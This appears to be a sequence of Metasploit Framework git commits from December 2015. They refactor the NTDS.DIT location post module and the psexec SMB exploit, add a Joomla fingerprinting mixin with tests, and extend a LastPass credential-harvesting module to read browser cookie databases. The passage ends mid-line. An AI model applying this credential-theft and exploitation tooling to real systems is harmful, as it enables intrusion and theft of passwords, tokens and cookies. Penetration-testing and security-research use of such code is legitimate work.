-3,36 +3,31 @@ # Current source: https://github.com/rapid7/metasploit-framework ## -require 'msf/core' -require 'msf/core/post/windows/priv' -require 'msf/core/post/common' -require 'msf/core/post/windows/registry' +class Metasploit4 < Msf::Post -class Metasploit3 < Msf::Post - include Msf::Post::Windows::Priv - include Msf::Post::Common include Msf::Post::File include Msf::Post::Windows::Registry def initialize(info = {}) super(update_info(info, - 'Name' => "NTDS.DIT Location Module", - 'Description' => %q{ - This module will find the location of the NTDS.DIT file (from the registry), check that it exists - and display it on the screen. Useful if you wish to manually acquire the file using ntdsutil or vss. - }, - 'License' => MSF_LICENSE, - 'Platform' => ['win'], - 'SessionTypes' => ['meterpreter'], - 'Author' => ['Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>'] - )) + 'Name' => 'Post Windows Gather NTDS.DIT Location', + 'Description' => %q{ + This module will find the location of the NTDS.DIT file (from the Registry), + check that it exists, and display its location on the screen, which is useful + if you wish to manually acquire the file using ntdsutil or vss. + }, + 'Author' => ['Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>'], + 'License' => MSF_LICENSE, + 'Platform' => ['win'], + 'SessionTypes' => ['meterpreter'] + )) end def run - # Find the NTDS.DIT location in the registry - ntds = registry_getvaldata("HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters", "DSA Database file").to_s + # Find the location of NTDS.DIT in the Registry + ntds = registry_getvaldata('HKLM\\SYSTEM\\CurrentControlSet\\Services\\NTDS\\Parameters', 'DSA Database file') unless ntds - print_error("Unable to find the NTDS.DIT location.") + print_error('Unable to find the location of NTDS.DIT') return end @@ -44,7 +39,8 @@ class Metasploit3 < Msf::Post print_line(" Modified: #{f.mtime.to_s}") print_line(" Accessed: #{f.atime.to_s}") else - print_error("NTDS.DIT is reportedly located at '#{ntds}' but the file does not appear to exist") + print_error("NTDS.DIT is reportedly located at #{ntds}, but the file does not appear to exist") end end + end From 6afcc1377462fc409409135549585b88c4cb79d8 Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Fri, 18 Dec 2015 15:41:38 -0600 Subject: [PATCH 1642/2172] Requote file path --- modules/post/windows/gather/ntds_location.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/post/windows/gather/ntds_location.rb b/modules/post/windows/gather/ntds_location.rb index 518895d684..a875df954e 100644 --- a/modules/post/windows/gather/ntds_location.rb +++ b/modules/post/windows/gather/ntds_location.rb @@ -39,7 +39,7 @@ class Metasploit4 < Msf::Post print_line(" Modified: #{f.mtime.to_s}") print_line(" Accessed: #{f.atime.to_s}") else - print_error("NTDS.DIT is reportedly located at #{ntds}, but the file does not appear to exist") + print_error("NTDS.DIT is reportedly located at `#{ntds}', but the file does not appear to exist") end end From afe4861195acda2e93128c08924d5c9e33de367e Mon Sep 17 00:00:00 2001 From: William Vu <William_Vu@rapid7.com> Date: Fri, 18 Dec 2015 15:54:51 -0600 Subject: [PATCH 1643/2172] Fix nil bug and missing return --- modules/exploits/windows/smb/psexec.rb | 23 +++++++++++------------ 1 file changed, 11 insertions(+), 12 deletions(-) diff --git a/modules/exploits/windows/smb/psexec.rb b/modules/exploits/windows/smb/psexec.rb index 30c6b3677a..2965087d8e 100644 --- a/modules/exploits/windows/smb/psexec.rb +++ b/modules/exploits/windows/smb/psexec.rb @@ -106,6 +106,7 @@ class Metasploit3 < Msf::Exploit::Remote ) print_line(" ") disconnect + return end if datastore['SMBUser'].to_s.strip.length > 0 @@ -145,21 +146,19 @@ class Metasploit3 < Msf::Exploit::Remote path = datastore['PSH_PATH'] end - begin - simple.connect(share) + simple.connect(share) - vprint_status("Checking for #{path}") + vprint_status("Checking for #{path}") - if smb_file_exist?(path) - vprint_status('PowerShell found') - true - else - vprint_status('PowerShell not found') - false - end - ensure - simple.disconnect(share) + if smb_file_exist?(path) + vprint_status('PowerShell found') + true + else + vprint_status('PowerShell not found') + false end + + simple.disconnect(share) end def powershell From 7d8ecf2341a61822eb653bc90e4f90ce77603029 Mon Sep 17 00:00:00 2001 From: wchen-r7 <wei_chen@rapid7.com> Date: Fri, 18 Dec 2015 21:14:04 -0600 Subject: [PATCH 1644/2172] Add Joomla mixin --- lib/msf/core/exploit/http/joomla.rb | 29 ++++ lib/msf/core/exploit/http/joomla/base.rb | 25 +++ lib/msf/core/exploit/http/joomla/version.rb | 95 +++++++++++ lib/msf/core/exploit/mixins.rb | 1 + .../auxiliary/scanner/http/joomla_version.rb | 160 ++++-------------- .../msf/core/exploit/http/joomla/base_spec.rb | 50 ++++++ .../core/exploit/http/joomla/version_spec.rb | 79 +++++++++ 7 files changed, 311 insertions(+), 128 deletions(-) create mode 100644 lib/msf/core/exploit/http/joomla.rb create mode 100644 lib/msf/core/exploit/http/joomla/base.rb create mode 100644 lib/msf/core/exploit/http/joomla/version.rb create mode 100644 spec/lib/msf/core/exploit/http/joomla/base_spec.rb create mode 100644 spec/lib/msf/core/exploit/http/joomla/version_spec.rb diff --git a/lib/msf/core/exploit/http/joomla.rb b/lib/msf/core/exploit/http/joomla.rb new file mode 100644 index 0000000000..344ace842f --- /dev/null +++ b/lib/msf/core/exploit/http/joomla.rb @@ -0,0 +1,29 @@ +# -*- coding: binary -*- + +module Msf + class Exploit + class Remote + module HTTP + module Joomla + require 'msf/core/exploit/http/joomla/base' + require 'msf/core/exploit/http/joomla/version' + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::Joomla::Base + include Msf::Exploit::Remote::HTTP::Joomla::Version + + def initialize(info = {}) + super + + register_options( + [ + Msf::OptString.new('TARGETURI', [true, 'The base path to the Joomla application', '/']) + ], Msf::Exploit::Remote::HTTP::Joomla + ) + end + + end + end + end + end +end diff --git a/lib/msf/core/exploit/http/joomla/base.rb b/lib/msf/core/exploit/http/joomla/base.rb new file mode 100644 index 0000000000..a778e49616 --- /dev/null +++ b/lib/msf/core/exploit/http/joomla/base.rb @@ -0,0 +1,25 @@ +# -*- coding: binary -*- + +module Msf::Exploit::Remote::HTTP::Joomla::Base + + # Checks if Joomla is up and running. + # + # @return [TrueClass] Joomla is up and running. + # @return [FalseClass] Joomla is not up. + def joomla_and_online? + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path) + }) + + if res + elements = res.get_html_meta_elements + elements.each_entry do |e| + if e.attributes['content'] && /joomla!/i === e.attributes['content'].value + return true + end + end + end + + false + end +end diff --git a/lib/msf/core/exploit/http/joomla/version.rb b/lib/msf/core/exploit/http/joomla/version.rb new file mode 100644 index 0000000000..b5db108d9d --- /dev/null +++ b/lib/msf/core/exploit/http/joomla/version.rb @@ -0,0 +1,95 @@ +# -*- coding: binary -*- + +module Msf::Exploit::Remote::HTTP::Joomla::Version + + # Returns the Joomla version. + # + # @return [String] Joomla version (if found) + # @return [NilClass] No Joomla version found. + def joomla_version + files = [ + 'language/en-GB/en-GB.xml', + 'templates/system/css/system.css', + 'media/system/js/mootools-more.js', + 'language/en-GB/en-GB.ini', + 'htaccess.txt', + 'language/en-GB/en-GB.com_media.ini' + ] + + files.each do |file| + version = check_file_version(file) + return version if version + end + + nil + end + + private + + # Returns the Joomla version based on a response. + # + # @param res [Rex::Proto::Http::Response] Response to fingerprint from. + # @return [String] Joomla version (if found) + # @return [NilClass] No Joomla version found. + def fingerprint(res) + version = nil + + case res.body + when /<version.*\/?>[[:print:]]+<\/version\/?>/i + version = res.get_html_document.at('version').text + when /system\.css 20196 2011\-01\-09 02\:40\:25Z ian/, + /MooTools\.More\=\{version\:\"1\.3\.0\.1\"/, + /en-GB\.ini 20196 2011\-01\-09 02\:40\:25Z ian/, + /en-GB\.ini 20990 2011\-03\-18 16\:42\:30Z infograf768/, + /20196 2011\-01\-09 02\:40\:25Z ian/ + version = '1.6' + when /system\.css 21322 2011\-05\-11 01\:10\:29Z dextercowley /, + /MooTools\.More\=\{version\:\"1\.3\.2\.1\"/, + /22183 2011\-09\-30 09\:04\:32Z infograf768/, + /21660 2011\-06\-23 13\:25\:32Z infograf768/ + version = '1.7' + when /Joomla! 1\.5/, + /MooTools\=\{version\:\'1\.12\'\}/, + /11391 2009\-01\-04 13\:35\:50Z ian/ + version = '1.5' + when /Copyright \(C\) 2005 \- 2012 Open Source Matters/, + /MooTools.More\=\{version\:\"1\.4\.0\.1\"/ + version = '2.5' + when /<meta name=\"Keywords\" content=\"(.*)\">\s+<meta name/ + version = $1.split(/,/)[0] + when /(Copyright \(C\) 2005 \- 200(6|7))/, + /47 2005\-09\-15 02\:55\:27Z rhuk/, + /423 2005\-10\-09 18\:23\:50Z stingrey/, + /1005 2005\-11\-13 17\:33\:59Z stingrey/, + /1570 2005\-12\-29 05\:53\:33Z eddieajau/, + /2368 2006\-02\-14 17\:40\:02Z stingrey/, + /4085 2006\-06\-21 16\:03\:54Z stingrey/, + /4756 2006\-08\-25 16\:07\:11Z stingrey/, + /5973 2006\-12\-11 01\:26\:33Z robs/, + /5975 2006\-12\-11 01\:26\:33Z robs/ + version = '1.0' + end + + version + end + + # Returns the Joomla version based on a file path. + # + # @param file [String] File path to check. + # @return [String] Joomla version (if found) + # @return [NilClass] No Joomla version found. + def check_file_version(file) + version = nil + + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, file) + }) + + if res && res.code == 200 + version = fingerprint(res) + end + + version + end + +end diff --git a/lib/msf/core/exploit/mixins.rb b/lib/msf/core/exploit/mixins.rb index 0bb5023a6e..ac7c718b7d 100644 --- a/lib/msf/core/exploit/mixins.rb +++ b/lib/msf/core/exploit/mixins.rb @@ -110,6 +110,7 @@ require 'msf/core/exploit/browser_autopwn2' # Custom HTTP Modules require 'msf/core/exploit/http/wordpress' +require 'msf/core/exploit/http/joomla' require 'msf/core/exploit/http/typo3' require 'msf/core/exploit/http/jboss' diff --git a/modules/auxiliary/scanner/http/joomla_version.rb b/modules/auxiliary/scanner/http/joomla_version.rb index a1b8bad625..3e280c8ad8 100644 --- a/modules/auxiliary/scanner/http/joomla_version.rb +++ b/modules/auxiliary/scanner/http/joomla_version.rb @@ -2,11 +2,12 @@ # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## + require 'msf/core' class Metasploit3 < Msf::Auxiliary - include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::Remote::HTTP::Joomla include Msf::Auxiliary::Scanner include Msf::Auxiliary::Report @@ -22,146 +23,49 @@ class Metasploit3 < Msf::Auxiliary 'Author' => [ 'newpid0' ], 'License' => MSF_LICENSE ) - register_options( - [ - OptString.new('TARGETURI', [ true, "The path to the Joomla install", '/']) - ], self.class) end - def os_fingerprint(response) - if not response.headers.has_key?('Server') - return "Unknown OS (No Server Header)" - end - - case response.headers['Server'] - when /Win32/, /\(Windows/, /IIS/ - os = "Windows" - when /Apache\// - os = "*Nix" - else - os = "Unknown Server Header Reporting: "+response.headers['Server'] - end - return os - end - - def fingerprint(response) - case response.body - when /<version.*\/?>(.+)<\/version\/?>/i - v = $1 - out = (v =~ /^6/) ? "Joomla #{v}" : " #{v}" - when /system\.css 20196 2011\-01\-09 02\:40\:25Z ian/, - /MooTools\.More\=\{version\:\"1\.3\.0\.1\"/, - /en-GB\.ini 20196 2011\-01\-09 02\:40\:25Z ian/, - /en-GB\.ini 20990 2011\-03\-18 16\:42\:30Z infograf768/, - /20196 2011\-01\-09 02\:40\:25Z ian/ - out = "1.6" - when /system\.css 21322 2011\-05\-11 01\:10\:29Z dextercowley /, - /MooTools\.More\=\{version\:\"1\.3\.2\.1\"/, - /22183 2011\-09\-30 09\:04\:32Z infograf768/, - /21660 2011\-06\-23 13\:25\:32Z infograf768/ - out = "1.7" - when /Joomla! 1.5/, - /MooTools\=\{version\:\'1\.12\'\}/, - /11391 2009\-01\-04 13\:35\:50Z ian/ - out = "1.5" - when /Copyright \(C\) 2005 \- 2012 Open Source Matters/, - /MooTools.More\=\{version\:\"1\.4\.0\.1\"/ - out = "2.5" - when /<meta name=\"Keywords\" content=\"(.*)\">\s+<meta name/ - out = $1.split(/,/)[0] - when /(Copyright \(C\) 2005 - 200(6|7))/, - /47 2005\-09\-15 02\:55\:27Z rhuk/, - /423 2005\-10\-09 18\:23\:50Z stingrey/, - /1005 2005\-11\-13 17\:33\:59Z stingrey/, - /1570 2005\-12\-29 05\:53\:33Z eddieajau/, - /2368 2006\-02\-14 17\:40\:02Z stingrey/, - /4085 2006\-06\-21 16\:03\:54Z stingrey/, - /4756 2006\-08\-25 16\:07\:11Z stingrey/, - /5973 2006\-12\-11 01\:26\:33Z robs/, - /5975 2006\-12\-11 01\:26\:33Z robs/ - out = "1.0" - else - out = 'Unknown Joomla' - end - return out - end - - def check_file(tpath, file, ip) + def get_server_header + # This module used to determine the operating system by the server header. But this is + # not an accurate way to do OS detection, so we have toned it down to just returning the + # header, and let the user decide. res = send_request_cgi({ - 'uri' => "#{tpath}#{file}", - 'method' => 'GET' + 'uri' => normalize_uri(target_uri.path) }) - return :abort if res.nil? - - res.body.gsub!(/[\r|\n]/, ' ') - - if (res.code == 200) - os = os_fingerprint(res) - out = fingerprint(res) - return false if not out - - if(out =~ /Unknown Joomla/) - print_error("#{peer} - Unable to identify Joomla Version with #{file}") - return false - else - print_good("#{peer} - Joomla Version:#{out} from: #{file} ") - print_good("#{peer} - OS: #{os}") - report_note( - :host => ip, - :port => datastore['RPORT'], - :proto => 'http', - :ntype => 'joomla_version', - :data => out - ) - return true - end - elsif (res.code == 403) - if(res.body =~ /secured with Secure Sockets Layer/ or res.body =~ /Secure Channel Required/ or res.body =~ /requires a secure connection/) - vprint_status("#{ip} denied access to #{ip} (SSL Required)") - elsif(res.body =~ /has a list of IP addresses that are not allowed/) - vprint_status("#{ip} restricted access by IP") - elsif(res.body =~ /SSL client certificate is required/) - vprint_status("#{ip} requires a SSL client certificate") - else - vprint_status("#{ip} denied access to #{ip} #{res.code} #{res.message}") - end - return :abort + if res && res.headers['Server'] + return res.headers['Server'] end - return false - - rescue OpenSSL::SSL::SSLError - vprint_error("#{peer} - SSL error") - return :abort - rescue Errno::ENOPROTOOPT, Errno::ECONNRESET, ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout, ::ArgumentError - vprint_error("#{peer} - Unable to Connect") - return :abort - rescue ::Timeout::Error, ::Errno::EPIPE - vprint_error("#{peer} - Timeout error") - return :abort + nil end def run_host(ip) - tpath = normalize_uri(target_uri.path) - if tpath[-1,1] != '/' - tpath += '/' + unless joomla_and_online? + print_error("It doesn't look like Joomla is up and running at #{target_uri.to_s}") + return end - files = [ - 'language/en-GB/en-GB.xml', - 'templates/system/css/system.css', - 'media/system/js/mootools-more.js', - 'language/en-GB/en-GB.ini', - 'htaccess.txt', - 'language/en-GB/en-GB.com_media.ini' - ] + server = get_server_header + version = joomla_version - vprint_status("#{peer} - Checking Joomla version") - files.each do |file| - joomla_found = check_file(tpath, file, ip) - return if joomla_found == :abort - break if joomla_found + if server + print_status("Server: #{server}") + else + print_error("Unable to determine server.") + end + + if version + print_status("Joomla version: #{version}") + report_note( + host: ip, + port: datastore['RPORT'], + proto: ssl ? 'https' : 'http', + ntype: 'joomla.version', + data: version + ) + else + print_error("Unable to find Joomla version.") end end diff --git a/spec/lib/msf/core/exploit/http/joomla/base_spec.rb b/spec/lib/msf/core/exploit/http/joomla/base_spec.rb new file mode 100644 index 0000000000..4edb007adb --- /dev/null +++ b/spec/lib/msf/core/exploit/http/joomla/base_spec.rb @@ -0,0 +1,50 @@ +require 'msf/core' +require 'msf/core/exploit' +require 'rex/proto/http/response' +require 'msf/core/exploit/http/joomla' + +RSpec.describe Msf::Exploit::Remote::HTTP::Joomla::Base do + + subject do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Exploit::Remote::HTTP::Joomla + mod.send(:initialize) + mod + end + + let(:joomla_body) do + %Q| + <!DOCTYPE html> + <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" dir="ltr"> + <head> + <meta name="viewport" content="width=device-width, initial-scale=1.0" /> + <base href="http://172.16.23.131/joomla/" /> + <meta http-equiv="content-type" content="text/html; charset=utf-8" /> + <meta name="description" content="test" /> + <meta name="generator" content="Joomla! - Open Source Content Management" /> + <title>Home + + + | + end + + let(:rex_http_response) do + res = Rex::Proto::Http::Response.new + res.code = 200 + res.body = joomla_body + res + end + + before(:each) do + allow(subject).to receive(:send_request_cgi) do |opts| + rex_http_response + end + end + + describe '#joomla_and_online?' do + context 'When site is Joomla' do + it { expect(subject.joomla_and_online?).to be_truthy } + end + end + +end diff --git a/spec/lib/msf/core/exploit/http/joomla/version_spec.rb b/spec/lib/msf/core/exploit/http/joomla/version_spec.rb new file mode 100644 index 0000000000..b048317389 --- /dev/null +++ b/spec/lib/msf/core/exploit/http/joomla/version_spec.rb @@ -0,0 +1,79 @@ +require 'msf/core' +require 'msf/core/exploit' +require 'rex/proto/http/response' +require 'msf/core/exploit/http/joomla' + +RSpec.describe Msf::Exploit::Remote::HTTP::Joomla::Version do + subject do + mod = ::Msf::Exploit.new + mod.extend ::Msf::Exploit::Remote::HTTP::Joomla + mod.send(:initialize) + mod + end + + # From /joomla/language/en-GB/en-GB.xml + let(:joomla_body) do + %Q| + + + English (en-GB) + 3.4.3 + 2013-03-07 + Joomla! Project + admin@joomla.org + www.joomla.org + Copyright (C) 2005 - 2015 Open Source Matters. All rights reserved. + GNU General Public License version 2 or later; see LICENSE.txt + en-GB site language + + English (en-GB) + en-GB + 0 + en_GB.utf8, en_GB.UTF-8, en_GB, eng_GB, en, english, english-uk, uk, gbr, britain, england, great britain, uk, united kingdom, united-kingdom + 0 + 0,6 + + + + | + end + + let(:expected_version) do + '3.4.3' + end + + let(:version_file) do + '/joomla/language/en-GB/en-GB.xml' + end + + let(:rex_http_response) do + res = Rex::Proto::Http::Response.new + res.code = 200 + res.body = joomla_body + res + end + + before(:each) do + allow(subject).to receive(:send_request_cgi) do |opts| + rex_http_response + end + end + + describe '#joomla_version' do + context 'When a version file is found' do + it { expect(subject.joomla_version).to eq(expected_version) } + end + end + + describe '#fingerprint' do + context 'When a version is found' do + it { expect(subject.send(:fingerprint, rex_http_response)).to eq(expected_version) } + end + end + + describe '#check_file_version' do + context 'When a version is found' do + it { expect(subject.send(:check_file_version, version_file)).to eq(expected_version) } + end + end +end From 08bddab5682d7cb0de4b1455b50d25b7811d66c2 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Fri, 18 Dec 2015 21:22:55 -0600 Subject: [PATCH 1645/2172] File name should be the same as the datastore option --- modules/auxiliary/server/ms15_134_mcl_leak.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/server/ms15_134_mcl_leak.rb b/modules/auxiliary/server/ms15_134_mcl_leak.rb index 0dbecadb00..7b0645362f 100644 --- a/modules/auxiliary/server/ms15_134_mcl_leak.rb +++ b/modules/auxiliary/server/ms15_134_mcl_leak.rb @@ -79,7 +79,7 @@ for (var i=0; i < files.length; i++) { end def generate_mcl - %Q| + %Q| From 6dada5f20f304481bc1fbde1bc65037f216e9a51 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Sat, 19 Dec 2015 12:06:06 -0600 Subject: [PATCH 1646/2172] add another we can check administrator/manifests/files/joomla.xml --- lib/msf/core/exploit/http/joomla/version.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/lib/msf/core/exploit/http/joomla/version.rb b/lib/msf/core/exploit/http/joomla/version.rb index b5db108d9d..32c1ca94d1 100644 --- a/lib/msf/core/exploit/http/joomla/version.rb +++ b/lib/msf/core/exploit/http/joomla/version.rb @@ -8,6 +8,7 @@ module Msf::Exploit::Remote::HTTP::Joomla::Version # @return [NilClass] No Joomla version found. def joomla_version files = [ + 'administrator/manifests/files/joomla.xml', 'language/en-GB/en-GB.xml', 'templates/system/css/system.css', 'media/system/js/mootools-more.js', From 0fda96360139c703b7b10fc9a40f1771ede8a36c Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Sat, 19 Dec 2015 13:45:41 -0600 Subject: [PATCH 1647/2172] Have multiple paths to find the generator tag --- lib/msf/core/exploit/http/joomla/base.rb | 21 +++++++++++++-------- 1 file changed, 13 insertions(+), 8 deletions(-) diff --git a/lib/msf/core/exploit/http/joomla/base.rb b/lib/msf/core/exploit/http/joomla/base.rb index a778e49616..0ad1e7a333 100644 --- a/lib/msf/core/exploit/http/joomla/base.rb +++ b/lib/msf/core/exploit/http/joomla/base.rb @@ -7,15 +7,20 @@ module Msf::Exploit::Remote::HTTP::Joomla::Base # @return [TrueClass] Joomla is up and running. # @return [FalseClass] Joomla is not up. def joomla_and_online? - res = send_request_cgi({ - 'uri' => normalize_uri(target_uri.path) - }) + # Possible paths that we might see the generator tag. + paths = [ '/', '/administrator' ] - if res - elements = res.get_html_meta_elements - elements.each_entry do |e| - if e.attributes['content'] && /joomla!/i === e.attributes['content'].value - return true + paths.each do |path| + res = send_request_cgi({ + 'uri' => normalize_uri(target_uri.path, path) + }) + + if res + elements = res.get_html_meta_elements + elements.each_entry do |e| + if e.attributes['content'] && /joomla!/i === e.attributes['content'].value + return true + end end end end From 5ff02956c9f1280b5a37d2f0eadece8304ce7787 Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Sat, 19 Dec 2015 13:46:13 -0600 Subject: [PATCH 1648/2172] Lower joomla.xml --- lib/msf/core/exploit/http/joomla/version.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/http/joomla/version.rb b/lib/msf/core/exploit/http/joomla/version.rb index 32c1ca94d1..b2d9f22d95 100644 --- a/lib/msf/core/exploit/http/joomla/version.rb +++ b/lib/msf/core/exploit/http/joomla/version.rb @@ -8,8 +8,8 @@ module Msf::Exploit::Remote::HTTP::Joomla::Version # @return [NilClass] No Joomla version found. def joomla_version files = [ - 'administrator/manifests/files/joomla.xml', 'language/en-GB/en-GB.xml', + 'administrator/manifests/files/joomla.xml', 'templates/system/css/system.css', 'media/system/js/mootools-more.js', 'language/en-GB/en-GB.ini', From 17b67b8f1b459b3e6257dd2f4fa79da89443ec5e Mon Sep 17 00:00:00 2001 From: wchen-r7 Date: Sat, 19 Dec 2015 17:18:34 -0600 Subject: [PATCH 1649/2172] Add trailing / --- lib/msf/core/exploit/http/joomla/base.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/msf/core/exploit/http/joomla/base.rb b/lib/msf/core/exploit/http/joomla/base.rb index 0ad1e7a333..145b7a8d8c 100644 --- a/lib/msf/core/exploit/http/joomla/base.rb +++ b/lib/msf/core/exploit/http/joomla/base.rb @@ -8,7 +8,7 @@ module Msf::Exploit::Remote::HTTP::Joomla::Base # @return [FalseClass] Joomla is not up. def joomla_and_online? # Possible paths that we might see the generator tag. - paths = [ '/', '/administrator' ] + paths = [ '/', '/administrator/' ] paths.each do |path| res = send_request_cgi({ From ab630166bb58a393b369df2371fb0df5a45e2367 Mon Sep 17 00:00:00 2001 From: Martin Vigo Date: Sat, 19 Dec 2015 21:40:30 -0800 Subject: [PATCH 1650/2172] Decrypt Chrome and Opera cookies and msdftify code --- modules/post/multi/gather/lastpass_creds.rb | 206 ++++++++++---------- 1 file changed, 108 insertions(+), 98 deletions(-) diff --git a/modules/post/multi/gather/lastpass_creds.rb b/modules/post/multi/gather/lastpass_creds.rb index 66ef12231c..14c1d2d591 100644 --- a/modules/post/multi/gather/lastpass_creds.rb +++ b/modules/post/multi/gather/lastpass_creds.rb @@ -49,7 +49,7 @@ class Metasploit3 < Msf::Post print_status "Extracting 2FA tokens" extract_2fa_tokens(account_map) - print_status "Extracting vault and iterations" + print_status "Extracting vault and iterations" extract_vault_and_iterations(account_map) print_status "Extracting encryption keys" @@ -94,17 +94,17 @@ class Metasploit3 < Msf::Post browser_path_map = { 'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/databases/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0", 'Firefox' => "#{user_profile['LocalAppData']}/.mozilla/firefox", - 'Opera' => "#{user_profile['LocalAppData']}/.config/Opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0" + 'Opera' => "#{user_profile['LocalAppData']}/.config/opera/databases/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0" } localstorage_path_map = { 'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/Local Storage/chrome-extension_hdokiejnpimakedhajhdlcegeplioahd_0.localstorage", 'Firefox' => "#{user_profile['LocalAppData']}/.lastpass", - 'Opera' => "#{user_profile['LocalAppData']}/.config/Opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage" + 'Opera' => "#{user_profile['LocalAppData']}/.config/opera/Local Storage/chrome-extension_hnjalnkldgigidggphhmacmimbdlafdo_0.localstorage" } cookies_path_map = { #TODO - 'Chrome' => "", - 'Firefox' => "", - 'Opera' => "" + 'Chrome' => "#{user_profile['LocalAppData']}/.config/google-chrome/Default/Cookies", + 'Firefox' => "", # It's set programmatically + 'Opera' => "#{user_profile['LocalAppData']}/.config/opera/Cookies" } when /osx/ browser_path_map = { @@ -121,9 +121,9 @@ class Metasploit3 < Msf::Post } cookies_path_map = { #TODO 'Chrome' => "#{user_profile['LocalAppData']}/Google/Chrome/Default/Cookies", - 'Firefox' => "", - 'Opera' => "", - 'Safari' => "" + 'Firefox' => "", # It's set programmatically + 'Opera' => "#{user_profile['LocalAppData']}/com.operasoftware.Opera/Cookies", + 'Safari' => "#{user_profile['AppData']}/Cookies/Cookies.binarycookies" } else print_error "Platform not recognized: #{platform}" @@ -135,15 +135,9 @@ class Metasploit3 < Msf::Post db_paths = find_db_paths(path, browser, account) if db_paths && db_paths.size > 0 account_map[account][browser]['lp_db_path'] = db_paths - if session.type == "meterpreter" - account_map[account][browser]['localstorage_db'] = localstorage_path_map[browser] if client.fs.file.exists?(localstorage_path_map[browser]) || browser.match(/Firefox|IE/) - account_map[account][browser]['cookies_db'] = cookies_path_map[browser] if client.fs.file.exists?(cookies_path_map[browser]) || browser.match(/Firefox|IE/) - account_map[account][browser]['cookies_db'] = account_map[account][browser]['lp_db_path'].first.gsub("prefs.js", "cookies.sqlite") if (!account_map[account][browser]['lp_db_path'].blank? && browser == 'Firefox') - else # session.type == "shell" - account_map[account][browser]['localstorage_db'] = localstorage_path_map[browser] if session.shell_command("ls \"#{localstorage_path_map[browser]}\"").strip == localstorage_path_map[browser].strip || browser.match(/Firefox|IE/) - account_map[account][browser]['cookies_db'] = cookies_path_map[browser] if session.shell_command("ls \"#{cookies_path_map[browser]}\"").strip == cookies_path_map[browser].strip || browser.match(/Firefox|IE/) - account_map[account][browser]['cookies_db'] = account_map[account][browser]['lp_db_path'].first.gsub("prefs.js", "cookies.sqlite") if (session.shell_command("ls \"#{account_map[account][browser]['lp_db_path']}\"").strip == account_map[account][browser]['lp_db_path'].strip && browser == 'Firefox') - end + account_map[account][browser]['localstorage_db'] = localstorage_path_map[browser] if file_exists?(localstorage_path_map[browser]) || browser.match(/Firefox|IE/) + account_map[account][browser]['cookies_db'] = cookies_path_map[browser] if file_exists?(cookies_path_map[browser]) || browser.match(/Firefox|IE/) + account_map[account][browser]['cookies_db'] = account_map[account][browser]['lp_db_path'].first.gsub("prefs.js", "cookies.sqlite") if (!account_map[account][browser]['lp_db_path'].blank? && browser == 'Firefox') else account_map[account].delete(browser) end @@ -177,11 +171,7 @@ class Metasploit3 < Msf::Post user_profiles = [] case session.platform when /unix|linux/ - if session.type == "meterpreter" - user_names = client.fs.dir.entries("/home") - else - user_names = session.shell_command("ls /home").split - end + user_names = directory_entries("/home") user_names.reject! { |u| %w(. ..).include?(u) } user_names.each do |user_name| user_profiles.push('UserName' => user_name, "LocalAppData" => "/home/#{user_name}") @@ -210,19 +200,11 @@ class Metasploit3 < Msf::Post files = [] if directory?(path) - sep = session.platform =~ /win/ ? '\\' : '/' - if session.type == "meterpreter" - files = client.fs.dir.entries(path) - elsif session.type == "shell" - files = session.shell_command("ls \"#{path}\"").split - else - print_error "Session type not recognized: #{session.type}" - return found_dbs_paths - end + files = directory_entries(path) end files.each do |file_path| unless %w(. .. Shared).include?(file_path) - found_dbs_paths.push([path, file_path].join(sep)) + found_dbs_paths.push([path, file_path].join(system_separator)) end end @@ -234,19 +216,10 @@ class Metasploit3 < Msf::Post found_dbs_paths = [] if directory?(path) - sep = session.platform =~ /win/ ? '\\' : '/' - if session.type == "meterpreter" - files = client.fs.dir.entries(path) - elsif session.type == "shell" - files = session.shell_command("ls \"#{path}\"").split - else - print_error "Session type not recognized: #{session.type}" - return [] - end - + files = directory_entries(path) files.reject! { |file| %w(. ..).include?(file) } files.each do |file_path| - found_dbs_paths.push([path, file_path, 'prefs.js'].join(sep)) if file_path.match(/.*\.default/) + found_dbs_paths.push([path, file_path, 'prefs.js'].join(system_separator)) if file_path.match(/.*\.default/) end end @@ -267,7 +240,7 @@ class Metasploit3 < Msf::Post usernames.each do |username| credentials << [username, nil] end - + # Extract master passwords data = read_registry_key_value('HKEY_CURRENT_USER\Software\AppDataLow\Software\LastPass', "LoginPws") data = Base64.encode64(data) if !data.blank? @@ -285,8 +258,8 @@ class Metasploit3 < Msf::Post end # Extract master passwords - path = localstorage_db_path + client.fs.file.separator + "lp.loginpws" - data = read_remote_file(path) if client.fs.file.exists?(path) # Read file if it exists + path = localstorage_db_path + system_separator + "lp.loginpws" + data = read_remote_file(path) if file_exists?(path) # Read file if it exists end # Get encrypted master passwords @@ -337,7 +310,7 @@ class Metasploit3 < Msf::Post unless ieffcreds.blank? ieffcreds.each do |creds| if creds[1].blank? # No master password found - account_map[account][browser]['lp_creds'][URI.unescape(creds[0])] 